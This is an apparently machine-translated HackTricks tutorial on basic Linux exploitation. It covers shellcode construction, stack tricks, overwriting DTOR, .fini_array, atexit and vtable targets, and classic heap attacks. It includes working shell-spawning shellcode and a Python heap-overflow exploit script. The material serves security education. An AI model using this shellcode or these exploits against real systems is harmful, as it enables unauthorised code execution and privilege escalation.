hacktricks/exploiting/linux-exploiting-basic-esp
2024-03-29 21:06:45 +00:00
..
rop-leaking-libc-address Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
bypassing-canary-and-pie.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
format-strings-template.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
fusion.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-29 21:06:45 +00:00
ret2lib.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00
rop-syscall-execv.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:17:45 +00:00

Linux Exploiting (Basic) (SPA)

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

2.SHELLCODE

View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; clear eax
xor ebx, ebx ; ebx = 0 as there are no arguments to pass
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Execute syscall

nasm -f elf assembly.asm —> Returns a .o file
ld assembly.o -o shellcodeout —> Generates an executable with the assembly code and we can extract the opcodes with objdump
objdump -d -Mintel ./shellcodeout —> To verify that it is indeed our shellcode and extract the OpCodes

Verify that the shellcode works

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

为了确保系统调用被正确执行,应编译前一个程序并在strace ./PROGRAMA_COMPILADO中查看系统调用。

在创建shellcode时可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码并将EIP放入堆栈。在call指令之后我们已经放入了所需的字符串因此可以使用该EIP指向字符串并继续执行代码。

EJ TRICK (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

使用堆栈(/bin/sh)的简单例子:

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:
EJ FNSTENV是一个用于将FPU环境保存到指定内存位置的汇编指令。

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Hunter:

这是一小段代码,用于在进程关联的内存页面中搜索存储的 shellcode查找 shellcode 中的某个签名)。在只有少量空间用于注入代码的情况下非常有用。

多态 Shellcode

这些是加密的 shell其中包含一小段代码用于解密并跳转到它使用 Call-Pop 技巧,这是一个凯撒加密的示例

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.补充方法

Ret2Ret

适用于无法将堆栈地址放入EIP检查EIP不包含0xbf或无法计算shellcode位置的情况。但是易受攻击的函数接受一个参数shellcode将放在这里

因此通过将EIP更改为ret地址将加载下一个地址即函数的第一个参数的地址。换句话说将加载shellcode。

Exploit示例SHELLCODE +填充直到EIP+ &ret堆栈的下几个字节指向shellcode的开头因为将参数传递给堆栈中的地址

似乎像strncpy这样的函数在完成后会从堆栈中删除存储shellcode的地址从而使这种技术无法实现。换句话说传递给函数作为参数的地址存储shellcode的地址被0x00修改因此在调用第二个ret时会遇到0x00导致程序崩溃。

Murat技术

在Linux中所有程序都从0xbfffffff开始映射

通过查看Linux中新进程堆栈的构建方式可以开发一种利用程序在仅有shellcode变量的环境中启动的方法。因此可以计算出shellcode变量的地址addr = 0xbfffffff - 4 - strlen(FULL_EXECUTABLE_NAME) - strlen(shellcode)

这样可以轻松地获取包含shellcode的环境变量的地址。

这是因为execle函数允许创建仅包含所需环境变量的环境

Jump to ESP: Windows Style

由于ESP始终指向堆栈的开头此技术涉及用jmp espcall esp的地址替换EIP。这样在覆盖EIP后shellcode将保存在ESP执行ret后的位置,因为执行ret后ESP将指向下一个地址即shellcode保存的位置。

如果Windows或Linux未启用ASLR则可以调用存储在共享对象中的jmp espcall esp。如果启用了ASLR则可以在易受攻击的程序内部搜索。

此外将shellcode放在EIP损坏后而不是在函数堆栈中间使得在函数中执行的push或pop指令不会触及shellcode如果放在函数堆栈中间可能会发生

类似于此如果我们知道函数返回存储shellcode的地址可以调用call eaxjmp eaxret2eax

整数溢出

当变量无法处理传递给它的如此大的数字时,就会发生这种类型的溢出,可能是由于有符号和无符号变量之间的混淆,例如:

#include <stdion.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
int len;
unsigned int l;
char buffer[256];
int i;
len = l = strtoul(argv[1], NULL, 10);
printf("\nL = %u\n", l);
printf("\nLEN = %d\n", len);
if (len >= 256){
printf("\nLongitus excesiva\n");
exit(1);
}
if(strlen(argv[2]) < l)
strcpy(buffer, argv[2]);
else
printf("\nIntento de hack\n");
return 0;
}

在上面的示例中我们可以看到程序期望接收2个参数。第一个是下一个字符串的长度第二个是字符串。

如果我们将第一个参数设为负数将会显示len < 256我们会通过这个过滤器并且strlen(buffer)也会小于l因为l是无符号整数会非常大。

这种溢出不是为了在程序进程中写入内容,而是为了绕过设计不良的过滤器以利用其他漏洞。

未初始化的变量

未初始化的变量可能会取得任意值,观察这一点可能会很有趣。它可能会取决于前一个函数中某个变量的值,而这个变量可能会被攻击者控制。

.fini_array

本质上这是一个包含在程序结束前将被调用的函数的结构。如果您可以通过跳转到一个地址来调用您的shellcode或者在需要再次返回到主函数以利用格式字符串的情况下这将会很有趣。

objdump -s -j .fini_array ./greeting

./greeting:     file format elf32-i386

Contents of section .fini_array:
8049934 a0850408

#Put your address in 0x8049934

请注意这不会创建一个永久循环因为当你回到主函数时canary会注意到栈的末尾可能已经被破坏函数不会再次被调用。因此通过这种方法你将能够多执行一次漏洞。

格式化字符串以转储内容

格式化字符串也可以被滥用来从程序内存中转储内容。
例如在以下情况下栈中有一个指向标志的本地变量。如果你找到内存中指向标志的指针在哪里你可以使printf访问该地址并打印标志

所以,标志在0xffffcf4c

从泄漏中你可以看到指向标志的指针在第8个参数中

因此访问第8个参数你可以获得标志

请注意,根据先前的利用并意识到你可以泄漏内容,你可以将指针设置到printf加载的可执行文件的部分,并完全转储它!

DTOR

{% hint style="danger" %} 现在很少见到带有dtor部分的二进制文件。 {% endhint %}

析构函数是在程序结束之前执行的函数。
如果你设法将一个shellcode的地址写入__DTOR_END__,那么在程序结束之前将执行它。
获取此部分的地址:

objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”

通常你会在值ffffffff00000000之间找到DTOR部分。所以如果你只看到这些值,意味着没有任何函数注册。因此,覆盖00000000地址以执行shellcode

格式化字符串到缓冲区溢出

sprintf将格式化字符串移动到一个变量中。因此,你可以滥用字符串的格式来导致变量中的缓冲区溢出
例如,负载%.44xAAAA将在变量写入44B+"AAAA",这可能会导致缓冲区溢出。

__atexit 结构

{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}

atexit()是一个函数,其他函数作为参数传递给它。这些函数将在执行**exit()main返回时执行。
如果你可以
修改其中任何一个函数地址**例如指向一个shellcode你将控制这个进程,但目前这更加复杂。
目前要执行的函数地址被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是用XOR加密随机密钥进行位移。因此目前这种攻击方式在x86和x64_86上不太有用
加密函数是**PTR_MANGLE。其他架构如m68k、mips32、mips64、aarch64、arm、hppa...不实现加密函数,因为它返回与输入相同**。因此,这些架构可以通过这种方式受到攻击。

setjmp() & longjmp()

{% hint style="danger" %} 现在很奇怪去利用这个。 {% endhint %}

Setjmp()允许保存上下文(寄存器)
longjmp()允许恢复上下文。
保存的寄存器是:EBX, ESI, EDI, ESP, EIP, EBP
问题在于EIP和ESP通过**PTR_MANGLE函数传递,因此易受攻击的架构与上述相同**。
它们对错误恢复或中断很有用。
但根据我所了解,其他寄存器没有受到保护,因此如果在被调用的函数内部有call ebxcall esicall edi就可以接管控制权。或者还可以修改EBP以修改ESP。

VTable和VPTR在C++中

每个类都有一个Vtable,它是一个指向方法的数组。

每个的对象都有一个VPtr,它是指向其类数组的指针。VPtr是每个对象头的一部分因此如果覆盖VPtr,它可以被修改指向一个虚拟方法这样执行函数就会转到shellcode。

预防措施和规避

替换Libsafe

通过以下方式激活LD_PRELOAD=/lib/libsafe.so.2

“/lib/libsave.so.2” > /etc/ld.so.preload

它会将对一些不安全函数的调用拦截并替换为安全函数。这不是标准化的仅适用于x86不适用于使用-fomit-frame-pointer编译不适用于静态编译不是所有易受攻击的函数都变得安全LD_PRELOAD在具有suid权限的二进制文件中无效

ASCII装甲地址空间

将共享库加载到0x00000000至0x00ffffff以便始终存在一个字节0x00。然而这实际上几乎无法阻止任何攻击尤其是在little endian中。

ret2plt

通过ROP调用plt中的strcpy函数并指向GOT的条目将要调用的函数system()的第一个字节复制过来。然后重复此过程指向GOT+1并复制system()的第二个字节... 最后调用GOT中保存的地址即system()。

使用chroot()创建cages

debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统

管理员可以通过以下方式离开其中一个cagemkdir foo; chroot foo; cd ..

代码插装

Valgrind —> 检查错误
Memcheck
RADReturn Address Defender
Insure++

8堆溢出基本利用

已分配块

prev_size |
size | —Header
*mem | 数据

空闲块

prev_size |
size |
*fd | 指向前向块的指针
*bk | 指向后向块的指针 —Header
*mem | 数据

空闲块以双向链表bin的形式存在两个空闲块永远不会相邻它们会合并

在“size”中有一些位用于指示前一个块是否正在使用块是否通过mmap()分配块是否属于主要的arena。

释放块时如果相邻的块中有任何一个是空闲的则通过unlink()宏将它们合并并将最大的新块传递给frontlink()以将其插入到适当的bin中。

unlink(){
BK = P->bk; —> 新块的BK是之前空闲块的BK
FD = P->fd; —> 新块的FD是之前空闲块的FD
FD->bk = BK; —> 下一个块的BK指向新块
BK->fd = FD; —> 前一个块的FD指向新块
}

因此如果我们成功修改了P->bk为shellcode的地址并将P->fd修改为GOT或DTORS中的一个条目的地址减去12就可以实现

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

这样在程序退出时将执行shellcode。

此外unlink()的第四条语句会写入一些内容因此shellcode必须为此进行修复

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> 这将从shellcode的第8个字节开始写入4个字节因此shellcode的第一条指令必须是跳转指令以跳过此处并进入一系列nop指令最终执行shellcode的其余部分。

因此,利用程序:

在buffer1中插入shellcode以跳转指令开头使其跳转到nop指令或shellcode的其余部分。

在shellcode之后插入填充直到达到下一个块的prev_size和size字段。在这些位置插入0xfffffff0覆盖prev_size以设置空闲位和“-4”0xfffffffc到size以便在第三个块检查第二个块是否空闲时实际上会到达修改后的prev_size告诉它第二个块是空闲的 -> 这样当free()调查时它将转到第三个块的size但实际上会转到第二个块 - 4并认为第二个块是空闲的。然后调用unlink()

调用unlink()时将第二个块的前几个数据用作P->fd因此将在那里插入要覆盖的地址 - 12因为在FD->bk中将地址减去12。并在该地址中插入第二个块中找到的第二个地址我们希望它是shellcode的地址伪造的P->bk

from struct import *

import os shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #希望前一个块的空闲位为1

fake_size = pack("<I”, 0xfffffffc) #-4, 让第3块的“size”向前偏移4字节指向prev_size因为它检查第2块是否空闲的位置在这里

addr_sc = pack("<I", 0x0804a008 + 8) #在payload开头添加8字节填充

got_free = pack("<I", 0x08048300 - 12) #free()在plt中的地址-12将被覆盖以第2次调用free时执行shellcode

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) #如前所述payload以8字节填充开始

payload += prev_size + fake_size + got_free + addr_sc #修改第2块got_free指向我们将保存地址addr_sc + 12的位置

os.system("./8.3.o " + payload)

unset()反向释放(战争游戏)

我们控制3个连续的块并按相反顺序释放它们。

在块c中放置shellcode

我们使用块a来覆盖块b使得size字段的PREV_INUSE位被禁用以便它认为块a是空闲的。

此外在块b的头部中覆盖size使其为-4。

因此程序会认为“a”是空闲的并且在一个bin中因此会调用unlink()来解除它。但是由于头部的PREV_SIZE为-4它会认为“a”块实际上从b+4开始。也就是说它会解除一个从b+4开始的块因此在b+12处将是指针“fd”在b+16处将是指针“bk”。

因此如果我们在bk中放置shellcode的地址并在fd中放置函数“puts()”-12的地址我们就有了有效载药。

Frontlink技术

当释放某个块时其相邻块均未空闲不会调用unlink()而是直接调用frontlink()。

这是一个有用的漏洞当攻击的malloc从不被释放free())时。

需要:

一个可以通过数据输入函数溢出的缓冲区

一个与之相邻的缓冲区应该被释放并且通过前一个缓冲区的溢出将其头部的fd字段修改

一个要释放的缓冲区其大小大于512但小于前一个缓冲区

在第3步之前声明一个缓冲区允许覆盖其prev_size

通过这种方式通过无序地覆盖两个malloc并且通过控制释放仅一个malloc我们可以进行利用。

双重free()漏洞

如果两次使用相同指针调用free()则会有两个bin指向相同地址。

如果要重新使用一个可以轻松分配。如果要使用另一个则将分配相同的空间因此我们将具有伪造的“fd”和“bk”指针这些指针是由前一个保留写入的数据。

After free()

重新使用先前释放的指针而不受控制。

8堆溢出高级利用

Unlink()和FrontLink()技术在修改unlink()函数时被删除。

The house of mind

只需一次free()调用即可触发任意代码执行。有助于查找第二个块,可以被前一个块溢出并释放。

调用free()会调用public_fREe(mem),它执行以下操作:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> 返回指向块开头的指针mem-8

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

在[1]中检查size字段的NON_MAIN_ARENA位可以更改以使检查返回true并执行heap_for_ptr()该函数对“mem”进行与操作将最不重要的2.5字节设置为0在我们的情况下从0x0804a000变为0x08000000然后访问0x08000000->ar_ptr就像是一个heap_info结构体

因此如果我们可以控制一个块例如在0x0804a000处并且将要释放的块位于0x081002a0我们可以到达0x08100000地址并写入我们想要的内容例如0x0804a000。当释放第二个块时heap_for_ptr()将返回0x08100000的内容因为它应用于0x081002a0的与操作从中提取前4个字节的值ar_ptr

这样就会调用_int_free(ar_ptr, mem),即**_int_free(0x0804a000, 0x081002a0)**
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

如前所述我们可以控制av的值因为它是我们写入要释放的块中的内容。

正如unsorted_chunks所定义的那样我们知道
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

因此如果我们在av->bins[2]中写入__DTOR_END__-12的值最后一条指令将在__DTOR_END__中写入第二块的prev_size地址。

也就是说在第一个块中我们需要在开头多次放置__DTOR_END__-12的地址因为av->bins[2]将从那里获取值

在第二块中通过第一个块我们将prev_size覆盖为跳转0x0csize为某些内容以激活-> NON_MAIN_ARENA

然后在第二块中放置大量的nops最后是shellcode

这样就会调用_int_free(TROZO1, TROZO2)并按照指令写入__DTOR_END__中第二块的prev_size地址该地址将跳转到shellcode。 为了应用这种技术,需要满足一些要求,这些要求会使 payload 变得更加复杂。

这种技术已不适用,因为几乎与 unlink 应用了相同的补丁。它会比较新指向的位置是否也指向它。

Fastbin

这是 The house of mind 的一个变种

我们希望执行以下代码,这需要通过 _int_free() 函数的第一个检查后才能到达:

fb = &(av->fastbins[fastbin_index(size)] —> 其中 fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

这样如果将“fb”设置为指向 GOT 中的一个函数的地址,然后在该地址上放置被覆盖的块的地址。为此,需要使堆区域接近 dtors 的地址。更准确地说av->max_fast 必须位于我们将要覆盖的地址处。

由于 The House of Mind 中我们发现我们控制了 av 的位置。

因此,如果在 size 字段中放入一个大小为 8 + NON_MAIN_ARENA + PREV_INUSE 的值fastbin_index() 将返回 fastbins[-1],它将指向 av->max_fast。

在这种情况下av->max_fast 将被覆盖(不是指向的地址,而是将被覆盖的位置)。

此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 8在这个虚假块中我们只需要放置一个大于 8 的大小(因为 shellcode 将放在释放的块中,所以需要在开头放置一个跳转到 nops 的 jmp

此外,这个虚假块必须小于 av->system_mem。av->system_mem 位于该位置的后面 1848 字节。

由于 _DTOR_END_ 中的空值和 GOT 中的少量地址,这些部分的任何地址都不适合被覆盖,因此让我们看看如何应用 fastbin 来攻击堆栈。

另一种攻击方式是将 av 重定向到堆栈。

如果我们将 size 修改为 16 而不是 8则 fastbin_index() 将返回 fastbins[0],我们可以利用这一点来覆盖堆栈。

为此,堆栈中不应该有任何 canary 或奇怪的值实际上我们必须处于这种情况4 个空字节 + EBP + RET

需要这 4 个空字节是因为 av 将位于这个地址,而 av 的第一个元素是 mutex其值必须为 0。

av->max_fast 将是 EBP并且将是一个值可用于绕过限制。

av->fastbins[0] 将被覆盖为 p 的地址,并且将成为 RET这样就会跳转到 shellcode。

此外,在 av->system_mem(在堆栈位置之上的 1484 字节处)将有足够的垃圾,可以帮助我们绕过检查。

此外,释放的相邻块的大小必须大于 8 -> 因为我们已经说过释放块的大小为 16在这个虚假块中我们只需要放置一个大于 8 的大小(因为 shellcode 将放在释放的块中,所以需要在开头放置一个跳转到新虚假块的 size 字段后面的 nops

The House of Spirit

在这种情况下,我们希望有一个指向 malloc 的指针,该指针可以被攻击者修改(例如,该指针位于堆栈上,可能会发生变量溢出)。

因此,我们可以使该指针指向任何位置。然而,并非所有位置都是有效的,虚假块的大小必须小于 av->max_fast并且更具体地等于未来对 malloc() 的调用请求的大小加 8。因此如果我们知道在此脆弱指针之后会调用 malloc(40),则虚假块的大小必须等于 48。

例如,如果程序要求用户输入一个数字,我们可以输入 48并将可修改的 malloc 指针指向接下来的 4 个字节(可能属于 EBP这样 48 就会留在后面,就像是 size 头部)。此外,地址 ptr-4+48 必须满足几个条件在这种情况下ptr=EBP即 8 < ptr-4+48 < av->system_mem。

如果这些条件满足,当调用我们说过的下一个 malloc即 malloc(40) 时,将把 EBP 的地址分配给它。如果攻击者还可以控制在此 malloc 中写入的内容,可以覆盖 EBP 和 EIP使其指向任何地址。

我认为这是因为这样,当调用 free() 时,它会保存指向堆栈上 EBP 的地址处有一个完美大小的新 malloc() 块,因此将分配该地址。

The House of Force

需要:

  • 一个允许覆盖 wilderness 的溢出块
  • 一个由用户定义大小的 malloc() 调用
  • 一个用户可以定义数据的 malloc() 调用

首先要做的是用一个非常大的值0xffffffff覆盖 wilderness 块的大小size这样任何足够大的内存请求都将在不需要扩展堆的情况下在 _int_malloc() 中处理。

其次是修改 av->top使其指向攻击者控制的内存区域如堆栈。在 av->top 中,将放置 &EIP - 8。

我们必须覆盖 av->top使其指向攻击者控制的内存区域

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim 获取当前 wilderness 块的地址(当前 av->top的值remainder 正好是该地址加上 malloc() 请求的字节数。因此,如果 &EIP-8 在 0xbffff224av->top 包含 0x080c2788则为了使 av->top 指向下一个 malloc() 的 $EIP-8我们需要在受控制的 malloc 中保留的数量为:

0xbffff224 - 0x080c2788 = 3086207644。

这样就会保存修改后的 av->top 值,下一个 malloc 将指向 EIP并且可以被覆盖。

重要的是新 wilderness 块的大小要大于最后一个 malloc() 请求的大小。也就是说,如果 wilderness 指向 &EIP-8那么 size 将正好位于堆栈的 EBP 字段处。

The House of Lore

SmallBin 损坏

释放的块根据其大小放入 bin 中。但在放入之前,它们会被保存在 unsorted bins 中。释放块不会立即放入其 bin 中,而是留在 unsorted bins 中。然后,如果分配新块并且先前释放的块可以满足需求,则将其返回,但如果分配更大的块,则将 unsorted bins 中的释放块放入适当的 bin 中。

要达到易受攻击的代码,内存请求必须大于 av->max_fast通常为 72且小于 MIN_LARGE_SIZE512

如果 bin 中有一个大小适当的块,则在解除链接后返回该块:

bck = victim->bk; 指向前一个块,这是我们唯一可以修改的信息。

bin->bk = bck; 倒数第二个块变为最后一个块,如果 bck 指向堆栈,则下一个分配的块将指向此地址

bck->fd = bin; 关闭列表,使其指向 bin

需要:

基本的堆溢出攻击

  • 预留两个malloc,使第一个可以在第二个被释放并放入其 bin 后进行溢出(即在溢出之前分配一个比第二块更大的 malloc
  • 攻击者控制分配给其选择地址的 malloc 的内存
  • 目标是:如果我们可以对一个堆进行溢出,而其下方有一个已被释放并放入 bin 中的块,我们可以修改其指针 bk。如果修改了 bk 指针,并且该块成为 bin 列表中的第一个块并被重新分配bin 将被欺骗,并告诉其下一个要提供的块位于我们设置的虚假地址(例如堆栈或 GOT。因此如果再次分配另一个块并且攻击者有权限将在所需位置获得一个块并可以向其中写入内容。
  • 在修改块后,需要释放修改后的块,并分配一个比释放的块更大的块,这样修改后的块将离开未排序的 bin 并被放入其 bin 中。
  • 一旦进入其 bin就是修改溢出以使其指针 bk 指向我们想要覆盖的地址的时候。
  • 因此bin 必须等待足够多次调用 malloc(),以便再次使用修改后的 bin 并欺骗 bin使其相信下一个块位于虚假地址。然后将提供我们感兴趣的块。
  • 为了尽快执行漏洞,理想情况是:预留易受攻击的块,预留将被修改的块,释放此块,分配一个比将被修改的块更大的块,修改块(漏洞),分配一个与受攻击块相同大小的块,再次分配一个相同大小的第二块,这将指向所选地址。
  • 为了保护此攻击,通常会使用典型的检查,即“不”是虚假块:检查 bck->fd 是否指向受害者。也就是说,在我们的情况下,如果堆栈中指向受害者的虚假块的 fd 指针指向受害者。要绕过此保护,攻击者必须以某种方式(可能通过堆栈)能够在适当的地址写入受害者的地址,以便看起来像一个真实块。

大型 Bin 破坏

  • 需要与之前相同的要求以及更多要求,此外,预留的块大小必须大于 512。
  • 攻击与之前类似,即需要修改 bk 指针并需要所有这些对 malloc() 的调用,但还需要修改已修改块的大小,使得 size - nb 小于 MINSIZE
  • 例如,将大小设置为 1552使得 1552 - 1544 = 8 < MINSIZE减法不能为负因为是无符号比较
  • 此外,还引入了一个补丁,使其更加复杂。

堆喷射

  • 基本上是预留尽可能多的堆内存,并用一组以 shellcode 结尾的 nop 填充这些内存。此外,将 0x0c 用作填充物。因此,将尝试跳转到地址 0x0c0c0c0c因此如果覆盖了将使用此填充物调用的任何地址将跳转到那里。基本策略是尽可能多地预留内存以查看是否覆盖了任何指针并跳转到 0x0c0c0c0c希望那里有 nop。

堆风水

  • 通过预留和释放来分配内存,使得在空闲块之间留下已预留的块。要溢出的缓冲区将位于其中一个块中。